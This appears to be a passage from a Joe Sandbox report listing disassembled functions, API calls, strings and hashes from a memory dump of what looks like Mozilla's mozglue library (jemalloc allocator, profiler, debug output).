Associated: 00000000.00000002.2037911519.000000006CACE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2037943227.000000006CAD2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca40000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave$AllocVirtual
String ID: : (malloc) Error in VirtualFree()$<jemalloc>$MOZ_RELEASE_ASSERT(mNode)
API String ID: 618468079-3577267516
Opcode ID: 3f3867169fd13adb86746c24a91ad9f5c916eb159c500883bce38ea8037e3991
Instruction ID: 70fbb83dd84e15e9fd39190b3b7e8447c65dac298a42bc14855df1841b5e1055
Opcode Fuzzy Hash: 3f3867169fd13adb86746c24a91ad9f5c916eb159c500883bce38ea8037e3991
Instruction Fuzzy Hash: 7DC2D071A057418FD714CF29C880716BBE1BF85328F28C66CE9A98BBD5D771E881CB85

Function 6CAAE680 Relevance: 31.1, APIs: 22, Instructions: 3648COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,00004014), ref: 6CAAE811
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6CAAEAA8
memset.VCRUNTIME140(?,000000FF,80808081), ref: 6CAAEBD5
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6CAAEEF6
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6CAAF223
memset.VCRUNTIME140(?,000000FF,80808082,?), ref: 6CAAF322
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6CAB0E03
memcpy.VCRUNTIME140(?,?,?,?), ref: 6CAB0E54
memcpy.VCRUNTIME140(?,?,?), ref: 6CAB0EAE
memcpy.VCRUNTIME140(?,?,?), ref: 6CAB0ED4

Memory Dump Source

Source File: 00000000.00000002.2037814951.000000006CA41000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA40000, based on PE: true

Associated: 00000000.00000002.2037787029.000000006CA40000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2037877310.000000006CABD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2037911519.000000006CACE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2037943227.000000006CAD2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca40000_file.jbxd

Similarity

API ID: memset$memcpy
String ID:
API String ID: 368790112-0
Opcode ID: 1af588ea0b327733fb4ab5d6e79e94ae7aede3dd7f552479a02ad720f9d9a95d
Instruction ID: 3d21e88ad80c4c090cf836ba7bd0a0b24a89584301aec7d965d665eb2d2197bd
Opcode Fuzzy Hash: 1af588ea0b327733fb4ab5d6e79e94ae7aede3dd7f552479a02ad720f9d9a95d
Instruction Fuzzy Hash: C7638F71E0025A8FCB08CFA8C9905DDFBB6FF89310F298269D455BB755D730A986CB90

Function 6CA83E50 Relevance: 27.0, APIs: 13, Strings: 2, Instructions: 765COMMON

Download Yara Rule

APIs

Part of subcall function 6CAA7770: wcslen.API-MS-WIN-CRT-STRING-L1-1-0(6CA83E7D,?,?,?,6CA83E7D,?,?), ref: 6CAA777C

tolower.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000000), ref: 6CA83F17
memset.VCRUNTIME140(?,00000000,00000110), ref: 6CA83F5C
VerSetConditionMask.NTDLL ref: 6CA83F8D
VerSetConditionMask.NTDLL ref: 6CA83F99
VerSetConditionMask.NTDLL ref: 6CA83FA0
VerSetConditionMask.NTDLL ref: 6CA83FA7
VerifyVersionInfoW.KERNEL32(?,00000033,00000000), ref: 6CA83FB4

Strings

nvinit.dll, xrefs: 6CA84479
nvd3d9wrap.dll, xrefs: 6CA84466

Memory Dump Source

Source File: 00000000.00000002.2037814951.000000006CA41000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA40000, based on PE: true

Associated: 00000000.00000002.2037787029.000000006CA40000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2037877310.000000006CABD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2037911519.000000006CACE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2037943227.000000006CAD2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca40000_file.jbxd

Similarity

API ID: ConditionMask$InfoVerifyVersionmemsettolowerwcslen
String ID: nvd3d9wrap.dll$nvinit.dll
API String ID: 1189858803-2380496106
Opcode ID: 81ff01dbfcead3536b820263333f4b9df19eb1c86af0ca10c75f3efdd756f9bf
Instruction ID: d8886bbb55cc84eb64e974dca7fd6dff2464fe6856964693851f1d13703d9464
Opcode Fuzzy Hash: 81ff01dbfcead3536b820263333f4b9df19eb1c86af0ca10c75f3efdd756f9bf
Instruction Fuzzy Hash: D5520171614B889FDB14DF34C9D0AABB7E9AF41208F44496DE4928BB42DB34F94DCB60

Function 6CA6ED10 Relevance: 25.4, APIs: 16, Instructions: 5407COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00010030), ref: 6CA6EE7A
memset.VCRUNTIME140(?,000000FF,80808082,?), ref: 6CA6EFB5
memcpy.VCRUNTIME140(?,?,?,?), ref: 6CA71695
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6CA716B4
memset.VCRUNTIME140(00000002,000000FF,?,?), ref: 6CA71770
memset.VCRUNTIME140(?,000000FF,?,?), ref: 6CA71A3E

Memory Dump Source

Source File: 00000000.00000002.2037814951.000000006CA41000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA40000, based on PE: true

Associated: 00000000.00000002.2037787029.000000006CA40000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2037877310.000000006CABD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2037911519.000000006CACE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2037943227.000000006CAD2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca40000_file.jbxd

Similarity

API ID: memset$freemallocmemcpy
String ID:
API String ID: 3693777188-0
Opcode ID: f92da0d63d5ea9aefa47e415d477bdc271c7a15c3a02534815580d915c518a96
Instruction ID: cf046e0e527072456827bf113ea3b952fd335dc9a5bd444cf4c2679b3ff06ab0
Opcode Fuzzy Hash: f92da0d63d5ea9aefa47e415d477bdc271c7a15c3a02534815580d915c518a96
Instruction Fuzzy Hash: 45B34C75E00219CFCB24CFA9C890AADB7B2FF49304F1981A9D549AB745D731AD86CF90

Function 6CA5FEF0 Relevance: 23.8, APIs: 13, Strings: 2, Instructions: 1294memoryCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6CACE7B8), ref: 6CA5FF81
LeaveCriticalSection.KERNEL32(6CACE7B8), ref: 6CA6022D
VirtualAlloc.KERNEL32(?,00100000,00001000,00000004), ref: 6CA60240
EnterCriticalSection.KERNEL32(6CACE768), ref: 6CA6025B
LeaveCriticalSection.KERNEL32(6CACE768), ref: 6CA6027B

Strings

MOZ_CRASH(), xrefs: 6CA60CA7
MOZ_RELEASE_ASSERT(mNode), xrefs: 6CA5FE99, 6CA5FEB7, 6CA5FED3, 6CA60DB8, 6CA60DD3, 6CA619B4, 6CA61A10

Memory Dump Source

Source File: 00000000.00000002.2037814951.000000006CA41000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA40000, based on PE: true

Associated: 00000000.00000002.2037787029.000000006CA40000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2037877310.000000006CABD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2037911519.000000006CACE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2037943227.000000006CAD2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca40000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave$AllocVirtual
String ID: MOZ_CRASH()$MOZ_RELEASE_ASSERT(mNode)
API String ID: 618468079-3566792288
Opcode ID: e35f6bd6fe20fcac6d01d199aa51108073cc766ed1bd88e95919858671a94eef
Instruction ID: 446ad0193bca20afe7eb1ec161c6225b2ed71098f1ae6de03c3e602326932042
Opcode Fuzzy Hash: e35f6bd6fe20fcac6d01d199aa51108073cc766ed1bd88e95919858671a94eef
Instruction Fuzzy Hash: 3EB2C0716057418FD718CF2AC590726BBE1BF85328F28C66CE96A8BBD5D770D880CB45

Function 6CA95600 Relevance: 22.0, APIs: 6, Strings: 6, Instructions: 950COMMON

Download Yara Rule

Strings

name, xrefs: 6CA95E79, 6CA95E8F
data, xrefs: 6CA96131
expected a Count entry, xrefs: 6CA95AC3
schema, xrefs: 6CA9606D
ProfileBuffer parse error: %s, xrefs: 6CA95AC8, 6CA95CBB
expected a Time entry, xrefs: 6CA95CB6

Memory Dump Source

Source File: 00000000.00000002.2037814951.000000006CA41000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA40000, based on PE: true

Associated: 00000000.00000002.2037787029.000000006CA40000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2037877310.000000006CABD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2037911519.000000006CACE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2037943227.000000006CAD2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca40000_file.jbxd

Similarity

API ID:
String ID: ProfileBuffer parse error: %s$data$expected a Count entry$expected a Time entry$name$schema
API String ID: 0-2712937348
Opcode ID: 218a014db89f1faf25d8b45b212469489c0d337bcb27834b136cb5cd8246605e
Instruction ID: 29ba14b66e3268b9f156f9223e7ac259fbe6abf14f6fb27e0f3c283f14f088fe
Opcode Fuzzy Hash: 218a014db89f1faf25d8b45b212469489c0d337bcb27834b136cb5cd8246605e
Instruction Fuzzy Hash: 74928DB1A183418FD724CF18C59179BB7E1BFC9308F148A1DE59A9B751DB30E889CB92

Function 6CA92E4E Relevance: 19.8, APIs: 8, Strings: 3, Instructions: 579stringCOMMON

Download Yara Rule

APIs

MozDescribeCodeAddress.MOZGLUE(?,?), ref: 6CA92ED3
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CA92EE7
MozFormatCodeAddressDetails.MOZGLUE(?,000000FF,00000000,?,?), ref: 6CA92F0D
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CA93214
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CA93242
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CA936BF

Strings

set , xrefs: 6CA936EC
get , xrefs: 6CA93205
MOZ_PROFILER_SYMBOLICATE, xrefs: 6CA9378D

Memory Dump Source

Source File: 00000000.00000002.2037814951.000000006CA41000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA40000, based on PE: true

Associated: 00000000.00000002.2037787029.000000006CA40000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2037877310.000000006CABD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2037911519.000000006CACE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2037943227.000000006CAD2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca40000_file.jbxd

Similarity

API ID: strlen$AddressCode$DescribeDetailsFormat
String ID: MOZ_PROFILER_SYMBOLICATE$get $set
API String ID: 2257098003-3318126862
Opcode ID: a00ca29b726587f357c7229dfa224abe2eb81caabc93daebd8127fd148436347
Instruction ID: 142757810baab71bd0ed3bea6df72b0084761feaa67abf2e9832f9c6b441574f
Opcode Fuzzy Hash: a00ca29b726587f357c7229dfa224abe2eb81caabc93daebd8127fd148436347
Instruction Fuzzy Hash: CE327DB42193818FD724CF24C4816AFBBF2AFC9318F54891DE5DA87751DB30998ACB52

Function 6CA87E10 Relevance: 17.9, APIs: 6, Strings: 4, Instructions: 403COMMON

Download Yara Rule

Strings

(pre-xul), xrefs: 6CA87E88
name, xrefs: 6CA87ECF, 6CA88335
data, xrefs: 6CA88280, 6CA883E1
schema, xrefs: 6CA881E3, 6CA88311

Memory Dump Source

Source File: 00000000.00000002.2037814951.000000006CA41000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA40000, based on PE: true

Associated: 00000000.00000002.2037787029.000000006CA40000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2037877310.000000006CABD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2037911519.000000006CACE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2037943227.000000006CAD2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca40000_file.jbxd

Similarity

API ID: memcpystrlen
String ID: (pre-xul)$data$name$schema
API String ID: 3412268980-999448898
Opcode ID: 1b064c3142b7e3cf1e44eb6a6c26751340d126451159ad035a89a9fc75d4e433
Instruction ID: 2e70defaf557b8e8cfc6b84576c112056f15425fef002cc24c281a6835eecae3
Opcode Fuzzy Hash: 1b064c3142b7e3cf1e44eb6a6c26751340d126451159ad035a89a9fc75d4e433
Instruction Fuzzy Hash: 91E180B1B043408BC714CF68884066BF7E9BFC5318F548A2DE995E7791DBB0DD898B92

Function 6CA6D4D0 Relevance: 17.8, APIs: 8, Strings: 2, Instructions: 251COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6CACE784,?,?,?,?,?,?,?,00000000,75572FE0,00000001,?,6CA7D1C5), ref: 6CA6D4F2
LeaveCriticalSection.KERNEL32(6CACE784,?,?,?,?,?,?,?,00000000,75572FE0,00000001,?,6CA7D1C5), ref: 6CA6D50B

Part of subcall function 6CA4CFE0: EnterCriticalSection.KERNEL32(6CACE784), ref: 6CA4CFF6
Part of subcall function 6CA4CFE0: LeaveCriticalSection.KERNEL32(6CACE784), ref: 6CA4D026

InitializeCriticalSectionAndSpinCount.KERNEL32(0000000C,00001388,?,?,?,?,?,?,?,00000000,75572FE0,00000001,?,6CA7D1C5), ref: 6CA6D52E
EnterCriticalSection.KERNEL32(6CACE7DC), ref: 6CA6D690
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6CA6D6A6
LeaveCriticalSection.KERNEL32(6CACE7DC), ref: 6CA6D712
LeaveCriticalSection.KERNEL32(6CACE784,?,?,?,?,?,?,?,00000000,75572FE0,00000001,?,6CA7D1C5), ref: 6CA6D751
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6CA6D7EA

Strings

<jemalloc>, xrefs: 6CA6D827
: (malloc) Error initializing arena, xrefs: 6CA6D82C

Memory Dump Source

Source File: 00000000.00000002.2037814951.000000006CA41000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA40000, based on PE: true

Associated: 00000000.00000002.2037787029.000000006CA40000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2037877310.000000006CABD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2037911519.000000006CACE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2037943227.000000006CAD2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca40000_file.jbxd

Similarity

API ID: CriticalSection$Leave$Enter$K@1@Maybe@_RandomUint64@mozilla@@$CountInitializeSpin
String ID: : (malloc) Error initializing arena$<jemalloc>
API String ID: 2690322072-3894294050
Opcode ID: c0df7792560c48faf9289f12c8d85bbcec6983a454d83fe6273ea0b7959ea52c
Instruction ID: 3d59d96c87228919302401dc3e67b80a024fa2037438e0af5e2fd574d0d5808e
Opcode Fuzzy Hash: c0df7792560c48faf9289f12c8d85bbcec6983a454d83fe6273ea0b7959ea52c
Instruction Fuzzy Hash: 1C91D471E047418FD718CF2AC59476AB7E1EB85358F28892EE55AC7F80D730E885CB82

Function 6CA65E90 Relevance: 17.7, APIs: 5, Strings: 5, Instructions: 2651COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(-0000000C), ref: 6CA65EDB
memset.VCRUNTIME140(6CAA7765,000000E5,55CCCCCC), ref: 6CA65F27
LeaveCriticalSection.KERNEL32(?), ref: 6CA65FB2
memset.VCRUNTIME140(6CAA7765,000000E5,ACC09015), ref: 6CA661F0
VirtualFree.KERNEL32(-00000001,00100000,00004000), ref: 6CA67652

Strings

MOZ_CRASH(), xrefs: 6CA67BA4
MOZ_RELEASE_ASSERT((run->mRegionsMask[elm] & (1U << bit)) == 0) (Double-free?), xrefs: 6CA6730D
MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x20U)) == 0) (Freeing in decommitted page.), xrefs: 6CA672E3
MOZ_RELEASE_ASSERT(mNode), xrefs: 6CA67BCD, 6CA67C1F, 6CA67C34, 6CA680FD
MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x01U)) != 0) (Double-free?), xrefs: 6CA672F8

Memory Dump Source

Source File: 00000000.00000002.2037814951.000000006CA41000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA40000, based on PE: true

Associated: 00000000.00000002.2037787029.000000006CA40000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2037877310.000000006CABD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2037911519.000000006CACE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2037943227.000000006CAD2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca40000_file.jbxd

Similarity

API ID: CriticalSectionmemset$EnterFreeLeaveVirtual
String ID: MOZ_CRASH()$MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x01U)) != 0) (Double-free?)$MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x20U)) == 0) (Freeing in decommitted page.)$MOZ_RELEASE_ASSERT((run->mRegionsMask[elm] & (1U << bit)) == 0) (Double-free?)$MOZ_RELEASE_ASSERT(mNode)
API String ID: 2613674957-1127040744
Opcode ID: ce28c77043a8b7d3a42e2a6e565c5bfeef62b551deddb9c3387ca6e905d10692
Instruction ID: 4089ead8ae2a846da34177099599a6db92db87ded9457969fda691fe9ea29a3b
Opcode Fuzzy Hash: ce28c77043a8b7d3a42e2a6e565c5bfeef62b551deddb9c3387ca6e905d10692
Instruction Fuzzy Hash: 18335C716157018FD308CF2AC590615BBE2BF85328F2DC6ADE969CBBA5D731E881CB41

Function 6CA43480 Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 86librarytimeloaderCOMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(?,?,?,?,?,?,?,6CA43284,?,?,6CA656F6), ref: 6CA43492
GetProcessTimes.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,6CA43284,?,?,6CA656F6), ref: 6CA434A9
LoadLibraryW.KERNEL32(kernel32.dll,?,?,?,?,?,?,?,?,6CA43284,?,?,6CA656F6), ref: 6CA434EF
GetProcAddress.KERNEL32(00000000,GetSystemTimePreciseAsFileTime), ref: 6CA4350E
__Init_thread_footer.LIBCMT ref: 6CA43522
__aulldiv.LIBCMT ref: 6CA43552
FreeLibrary.KERNEL32(?,?,?,?,?,?,?,?,6CA43284,?,?,6CA656F6), ref: 6CA4357C
GetSystemTimeAsFileTime.KERNEL32(?,?,?,?,?,?,?,?,6CA43284,?,?,6CA656F6), ref: 6CA43592

Part of subcall function 6CA7AB89: EnterCriticalSection.KERNEL32(6CACE370,?,?,?,6CA434DE,6CACF6CC,?,?,?,?,?,?,?,6CA43284), ref: 6CA7AB94
Part of subcall function 6CA7AB89: LeaveCriticalSection.KERNEL32(6CACE370,?,6CA434DE,6CACF6CC,?,?,?,?,?,?,?,6CA43284,?,?,6CA656F6), ref: 6CA7ABD1

Strings

GetSystemTimePreciseAsFileTime, xrefs: 6CA43508
kernel32.dll, xrefs: 6CA434EA

Memory Dump Source

Source File: 00000000.00000002.2037814951.000000006CA41000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA40000, based on PE: true

Associated: 00000000.00000002.2037787029.000000006CA40000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2037877310.000000006CABD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2037911519.000000006CACE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2037943227.000000006CAD2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca40000_file.jbxd

Similarity

API ID: CriticalLibraryProcessSectionTime$AddressCurrentEnterFileFreeInit_thread_footerLeaveLoadProcSystemTimes__aulldiv
String ID: GetSystemTimePreciseAsFileTime$kernel32.dll
API String ID: 3634367004-706389432
Opcode ID: c00f36f4b2b1f977df52a08ca2c6fcb406a94be3326704cc2ea6124af2a24978
Instruction ID: a4fb32696403356c8cb18ebd819ffd7d118b5c1b15e186bdc07f127b298bce23
Opcode Fuzzy Hash: c00f36f4b2b1f977df52a08ca2c6fcb406a94be3326704cc2ea6124af2a24978
Instruction Fuzzy Hash: BF31C175B0134AAFDF08DFB8DD48AAA73B9FB45704F10C119E541E3650DB30AA86CB61

Function 6CA94820 Relevance: 16.5, APIs: 1, Strings: 8, Instructions: 744COMMON

Download Yara Rule

Strings

expected a ProfilerOverheadDuration entry after ProfilerOverheadTime,ProfilerOverheadDuration, xrefs: 6CA94D0A
expected a ProfilerOverheadDuration entry after ProfilerOverheadTime,ProfilerOverheadDuration*3, xrefs: 6CA94DB8, 6CA94DD8
expected a ProfilerOverheadDuration entry after ProfilerOverheadTime, xrefs: 6CA94CAF
expected a ProfilerOverheadDuration entry after ProfilerOverheadTime,ProfilerOverheadDuration*2, xrefs: 6CA94D65
data, xrefs: 6CA949B4
-%llu, xrefs: 6CA94825
schema, xrefs: 6CA948C1
ProfileBuffer parse error: %s, xrefs: 6CA94DD9

Memory Dump Source

Source File: 00000000.00000002.2037814951.000000006CA41000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA40000, based on PE: true

Associated: 00000000.00000002.2037787029.000000006CA40000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2037877310.000000006CABD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2037911519.000000006CACE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2037943227.000000006CAD2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca40000_file.jbxd

Similarity

API ID: free
String ID: -%llu$ProfileBuffer parse error: %s$data$expected a ProfilerOverheadDuration entry after ProfilerOverheadTime$expected a ProfilerOverheadDuration entry after ProfilerOverheadTime,ProfilerOverheadDuration$expected a ProfilerOverheadDuration entry after ProfilerOverheadTime,ProfilerOverheadDuration*2$expected a ProfilerOverheadDuration entry after ProfilerOverheadTime,ProfilerOverheadDuration*3$schema
API String ID: 1294909896-3225433307
Opcode ID: 41860d24c15311f903b905728131b877eede126e43c03dd80c2719cefc87ebdd
Instruction ID: 676d1a6e8c4df39355763119a6645417ff1275f0318d125afed26fd2b1e5d329
Opcode Fuzzy Hash: 41860d24c15311f903b905728131b877eede126e43c03dd80c2719cefc87ebdd
Instruction Fuzzy Hash: BD72FC75A18B858BD321CF34C4513ABF7E5AFDA344F108B1DE49A6B611EB7094C6CB42

Function 6CAA4EA0 Relevance: 16.2, APIs: 8, Strings: 1, Instructions: 408sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNEL32(000007D0), ref: 6CAA4EFF
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CAA4F2E
moz_xmalloc.MOZGLUE ref: 6CAA4F52
memset.VCRUNTIME140(00000000,00000000), ref: 6CAA4F62
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CAA52B2
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CAA52E6
Sleep.KERNEL32(00000010), ref: 6CAA5481
free.MOZGLUE(?), ref: 6CAA5498

Strings

(, xrefs: 6CAA5250

Memory Dump Source

Source File: 00000000.00000002.2037814951.000000006CA41000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA40000, based on PE: true

Associated: 00000000.00000002.2037787029.000000006CA40000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2037877310.000000006CABD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2037911519.000000006CACE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2037943227.000000006CAD2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca40000_file.jbxd

Similarity

API ID: floor$Sleep$freememsetmoz_xmalloc
String ID: (
API String ID: 4104871533-3887548279
Opcode ID: f0ede0a61d4cf8d52e0a8467715e6e22eb7f3f0fd1313d3ba94121f9025a733c
Instruction ID: 66d45783c50420ba61390319e87b64b5e2ebad954b19c89c580c8a9dbcc609e4
Opcode Fuzzy Hash: f0ede0a61d4cf8d52e0a8467715e6e22eb7f3f0fd1313d3ba94121f9025a733c
Instruction Fuzzy Hash: 47F1B071A18B418FC71ACF39C85062BB7F9AFD6284F05872EF846A7651DB319846CB81

Function 6CAA5FF0 Relevance: 15.1, APIs: 10, Instructions: 76COMMON

Download Yara Rule

APIs

IsDebuggerPresent.KERNEL32 ref: 6CAA6009
??0PrintfTarget@mozilla@@IAE@XZ.MOZGLUE ref: 6CAA6024
?vprint@PrintfTarget@mozilla@@QAE_NPBDPAD@Z.MOZGLUE(6CA4EE51,?), ref: 6CAA6046
OutputDebugStringA.KERNEL32(?,6CA4EE51,?), ref: 6CAA6061
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6CAA6069
_fileno.API-MS-WIN-CRT-STDIO-L1-1-0(00000000), ref: 6CAA6073
_dup.API-MS-WIN-CRT-STDIO-L1-1-0(00000000), ref: 6CAA6082
_fdopen.API-MS-WIN-CRT-MATH-L1-1-0(00000000,6CAC148E), ref: 6CAA6091
__stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,6CA4EE51,00000000,?), ref: 6CAA60BA
fclose.API-MS-WIN-CRT-STDIO-L1-1-0(00000000), ref: 6CAA60C4

Memory Dump Source

Source File: 00000000.00000002.2037814951.000000006CA41000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA40000, based on PE: true

Associated: 00000000.00000002.2037787029.000000006CA40000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2037877310.000000006CABD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2037911519.000000006CACE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2037943227.000000006CAD2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca40000_file.jbxd

Similarity

API ID: PrintfTarget@mozilla@@$?vprint@DebugDebuggerOutputPresentString__acrt_iob_func__stdio_common_vfprintf_dup_fdopen_filenofclose
String ID:
API String ID: 3835517998-0
Opcode ID: c92d43e29fc35fd5c71f4a395884cb9dd93169fec5720b6b51c21507816ca667
Instruction ID: 663269695b892af5c8bbd2ec32ea56366ea8f1fc031df09e6a7b060f903e65ff
Opcode Fuzzy Hash: c92d43e29fc35fd5c71f4a395884cb9dd93169fec5720b6b51c21507816ca667
Instruction Fuzzy Hash: B321D871A003085FDB105F69DC09A9A7BB8FF45218F00C528E85A97340CB75E699CFD1

Function 6CA69E50 Relevance: 13.1, APIs: 6, Strings: 1, Instructions: 878COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?), ref: 6CA69EB8
LeaveCriticalSection.KERNEL32(?), ref: 6CA69F24
memset.VCRUNTIME140(00000000,00000000,?), ref: 6CA69F34
LeaveCriticalSection.KERNEL32(?), ref: 6CA6A823
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6CA6A83C
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6CA6A849

Strings

MOZ_RELEASE_ASSERT(mNode), xrefs: 6CA6A8B1, 6CA6A8D4, 6CA6A8EF

Memory Dump Source

Source File: 00000000.00000002.2037814951.000000006CA41000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA40000, based on PE: true

Associated: 00000000.00000002.2037787029.000000006CA40000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2037877310.000000006CABD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2037911519.000000006CACE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2037943227.000000006CAD2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca40000_file.jbxd

Similarity

